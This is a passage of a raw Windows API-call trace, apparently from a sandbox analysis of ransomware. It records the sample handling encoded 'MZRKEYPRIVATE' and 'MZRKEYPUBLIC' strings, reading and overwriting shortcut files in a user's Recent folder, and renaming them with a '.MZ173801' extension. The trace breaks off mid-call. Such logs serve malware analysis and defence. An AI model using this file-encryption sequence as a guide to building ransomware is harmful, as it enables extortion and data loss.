lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0152.606] GetCurrentThreadId () returned 0xab4 [0152.606] GetCurrentThreadId () returned 0xab4 [0152.606] GetCurrentThreadId () returned 0xab4 [0152.607] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0152.607] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0152.607] GetCurrentThreadId () returned 0xab4 [0152.607] GetCurrentThreadId () returned 0xab4 [0152.607] GetCurrentThreadId () returned 0xab4 [0152.607] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wHBTEKON3Jt-O3n64e.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\whbtekon3jt-o3n64e.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.607] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0152.607] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.608] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x403 [0152.608] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.608] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x403, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x403, lpOverlapped=0x0) returned 1 [0152.609] CloseHandle (hObject=0x280) returned 1 [0152.609] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wHBTEKON3Jt-O3n64e.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\whbtekon3jt-o3n64e.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.610] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x403, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x403, lpOverlapped=0x0) returned 1 [0152.611] CloseHandle (hObject=0x280) returned 1 [0152.617] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wHBTEKON3Jt-O3n64e.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\whbtekon3jt-o3n64e.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wHBTEKON3Jt-O3n64e.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\whbtekon3jt-o3n64e.lnk.mz173801")) returned 1 [0152.618] GetCurrentThreadId () returned 0xab4 [0152.618] GetCurrentThreadId () returned 0xab4 [0152.618] GetCurrentThreadId () returned 0xab4 [0152.618] GetCurrentThreadId () returned 0xab4 [0152.618] GetCurrentThreadId () returned 0xab4 [0152.618] GetCurrentThreadId () returned 0xab4 [0152.618] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2683bd0, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x77371f7c, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x77371f7c, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x39f, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="wmEX.lnk", cAlternateFileName="")) returned 1 [0152.618] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0152.618] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0152.618] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wmEX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\wmex.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2683bd0, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x77371f7c, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x77371f7c, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x39f)) returned 1 [0152.618] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wmEX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\wmex.lnk")) returned 0x20 [0152.618] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wmEX.lnk", dwFileAttributes=0x80) returned 1 [0152.621] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0152.621] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0152.622] GetCurrentThreadId () returned 0xab4 [0152.623] GetCurrentThreadId () returned 0xab4 [0152.623] GetCurrentThreadId () returned 0xab4 [0152.623] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 